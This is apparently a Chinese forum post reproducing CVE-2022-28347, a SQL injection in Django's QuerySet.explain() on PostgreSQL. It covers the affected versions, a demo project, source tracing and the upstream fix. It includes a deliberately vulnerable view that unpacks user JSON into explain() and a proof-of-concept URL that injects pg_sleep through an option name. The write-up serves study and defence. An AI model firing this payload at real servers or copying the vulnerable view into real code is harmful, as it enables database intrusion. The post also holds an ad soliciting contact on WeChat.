Django SQL注入漏洞复现 (CVE-2022-28347)

打印 上一主题 下一主题

主题 880|帖子 880|积分 2640

[img=720,336.18677042801556]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202305181604209.png[/img]​
漏洞简介

在Django 2.2 的 2.2.28 之前版本、3.2 的 3.2.13 之前版本和 4.0 的 4.0.4 之前版本中的 QuerySet.deexplain() 中发现了SQL注入问题。这是通过传递一个精心编制的字典(带有字典扩展)作为**options参数来实现的,并将注入负载放置在选项名称中。
影响版本

2.2 =< Django < 2.2.28
3.2 =< Django < 3.2.13
4.0 =< Django < 4.0.4
环境搭建

创建存在 漏洞 Django 版本 3.2.12 项目
创建 startapp Demo 并依次修改文件
安装 postgresql 数据库
settings.py 设置连接数据库为 postgresql 数据库
  1. DATABASES = {
  2.    'default': {
  3.        'ENGINE': 'django.db.backends.postgresql',
  4.        'NAME': 'test',
  5.        'USER': 'postgres',
  6.        'PASSWORD': '123456',
  7.        'HOST': '127.0.0.1',
  8.        'PORT': '5432',
  9.    }
  10. }
复制代码
urls.py 设定对应路由
  1. from django.contrib import admin
  2. from django.urls import path
  3. from Demo import views
  4. urlpatterns = [
  5.    path('admin/', admin.site.urls),
  6.    path('index/', views.index),
  7.    path('demo/', views.users),
  8.    path('initialize/', views.loadexampledata),
  9. ]
复制代码
models.py
  1. from django.db import models
  2. # Create your models here.
  3. class User(models.Model):
  4.    name = models.CharField(max_length=200)
  5.    def __str__(self):
  6.        return self.name
复制代码
views.py
  1. import json
  2. from django.http import HttpResponse
  3. from django.shortcuts import render
  4. # Create your views here.
  5. from .models import User
  6. def index(request):
  7.    return HttpResponse('hello world')
  8. def users(request):
  9.    query = request.GET.get('q')
  10.    query = json.loads(query)
  11.    qs = User.objects.get_queryset().explain(**query)
  12.    return HttpResponse(qs)
  13. def loadexampledata(request):
  14.    u = User(name="Admin")
  15.    u.save()
  16.    u = User(name="Staff1")
  17.    u.save()
  18.    u = User(name="Staff12")
  19.    u.save()
  20.    return HttpResponse("ok")
复制代码

漏洞复现
  1. http://127.0.0.1:8000/demo/?q={"ANALYZE)+select+pg_sleep(5);--+":"aaa"}
复制代码
[img=720,321.00117324990225]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202305181604211.png[/img]​
发现成功构造使得服务器沉睡
【----帮助网安学习,以下所有学习资料免费领!加vx:yj009991,备注 “博客园” 获取!】
 ① 网安学习成长路径思维导图
 ② 60+网安经典常用工具包
 ③ 100+SRC漏洞分析报告
 ④ 150+网安攻防实战技术电子书
 ⑤ 最权威CISSP 认证考试指南+题库
 ⑥ 超1800页CTF实战技巧手册
 ⑦ 最新网安大厂面试题合集(含答案)
 ⑧ APP客户端安全检测指南(安卓+IOS)
漏洞分析

在进行代码分析之前,我们先了解一个知识点 EXPLAIN
EXPLAIN

EXPLAIN -- 显示一个语句的执行计划
  1. EXPLAIN [ ( option [, ...] ) ] statement
  2. EXPLAIN [ ANALYZE ] [ VERBOSE ] statement
  3. option:
  4.    ANALYZE [ boolean ]   执行命令并显示实际运行时间
  5.    VERBOSE [ boolean ]   显示规划树完整的内部表现形式,而不仅是一个摘要
  6.    COSTS [ boolean ]
  7.    BUFFERS [ boolean ]
  8.    TIMING [ boolean ]
  9.    FORMAT { TEXT | XML | JSON | YAML }
  10. statement:
  11.    查询执行计划的 SQL 语句,可以是任何 select、insert、update、delete、values、execute、declare 语句
复制代码
EXPLAIN ANALYZE不仅会显示查询计划,还会实际运行语句。EXPLAIN ANALYZE会丢掉任何来自SELECT语句的输出,但是该语句中的其他操作会被执行(例如INSERT、UPDATE或者DELETE)。
调试分析

[img=720,221.51612903225808]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202305181604213.png[/img]
django.db.models.query.QuerySet.explain​
[img=720,37.47945205479452]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202305181604214.png[/img]
django.db.models.sql.query.Query.explain​
[img=720,77.45366639806608]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202305181604215.png[/img]
django.db.models.sql.compiler.SQLCompiler.explain_query​
[img=720,144.55142231947482]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202305181604216.png[/img]
django.db.models.sql.compiler.SQLCompiler.execute_sql​
[img=720,171.34615384615384]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202305181604217.png[/img]
django.db.models.sql.compiler.SQLCompiler.as_sql​
[img=720,85.83560152422427]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202305181604218.png[/img]
在这里会根据所选择的数据库,来调用其相对应的 explain_query_prefix 方法
django.db.backends.postgresql.operations.DatabaseOperations.explain_query_prefix​
[img=720,307.74427020506636]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202305181604219.png[/img]
postgresql​ 中 重写了 explain_query_prefix 方法将键名拼接到了 SQL 语句中
[img=720,324.559585492228]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202305181604220.png[/img]
最后执行的 SQL 语句是
  1. 'EXPLAIN (ANALYZE) SELECT PG_SLEEP(5);--  true) SELECT "Demo_user"."id", "Demo_user"."name" FROM "Demo_user"'
复制代码

漏洞修复

https://github.com/django/django/commit/00b0fc50e1738c7174c495464a5ef069408a4402#diff-fbd8a517f5fa1333b9f7273bcd007551cd2fb4b8f6732cd6002ba42411802901
[img=720,271.6981132075472]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202305181604221.png[/img]
做了一个过滤,发现危险字符就抛出异常
[img=720,387.0929660600098]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202305181604222.png[/img]
只有字符串在白名单内才会拼接到语句中
更多网安技能的在线实操练习,请点击这里>>
 

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

x
回复

使用道具 举报

0 个回复

倒序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

九天猎人

金牌会员
这个人很懒什么都没写!
快速回复 返回顶部 返回列表